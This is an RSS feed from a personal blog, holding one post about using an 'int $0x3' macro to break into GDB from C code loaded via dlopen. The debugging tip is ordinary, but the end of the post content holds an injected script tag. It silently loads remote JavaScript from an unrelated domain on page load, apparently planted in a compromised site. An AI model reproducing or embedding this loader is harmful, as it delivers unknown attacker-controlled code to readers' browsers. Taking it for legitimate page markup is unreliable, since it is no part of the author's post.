<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; C</title>
	<atom:link href="http://www.larsen-b.com/tags/c/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Calling GDB (Gnu debugger) within your code.</title>
		<link>http://www.larsen-b.com/Article/393.html</link>
		<comments>http://www.larsen-b.com/Article/393.html#comments</comments>
		<pubDate>Sat, 20 Aug 2011 12:19:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=393</guid>
		<description><![CDATA[I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my &#8230; <a href="http://www.larsen-b.com/Article/393.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my library (via dlopen) and run it in a single thread.</p>
<p>That&#8217;s fine, but I&#8217;m unable to debug this part of the code because I&#8217;m unable to place a breakpoint. So I want to place a &#8220;break&#8221; in my code that&#8217;s return back to GDB. (exactly like you can launch the debugger within Python w/ a simple pdb.set_trace().</p>
<p>This is quite easy to do, and really useful but not really popular. The main trick is to call the interrupt number 3. This will rise a SIGTRAP signal in the Linux kernel that GDB can intercept .. so in your code simply add a macro :</p>
<pre>#define GDB()  asm("int $0x3")
int main()
{
 int a = 12;
 GDB();
 printf("A ==&gt; %u \n",a);
 return 0;   
}</pre>
<p><br/><br />
Call the GDB(); macro in your code, compile it with gcc -g, simply run your program in GDB, and wait for the macro to be called :)</p>
<p><strong><em>/Enjoy gdb</em></strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/393.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
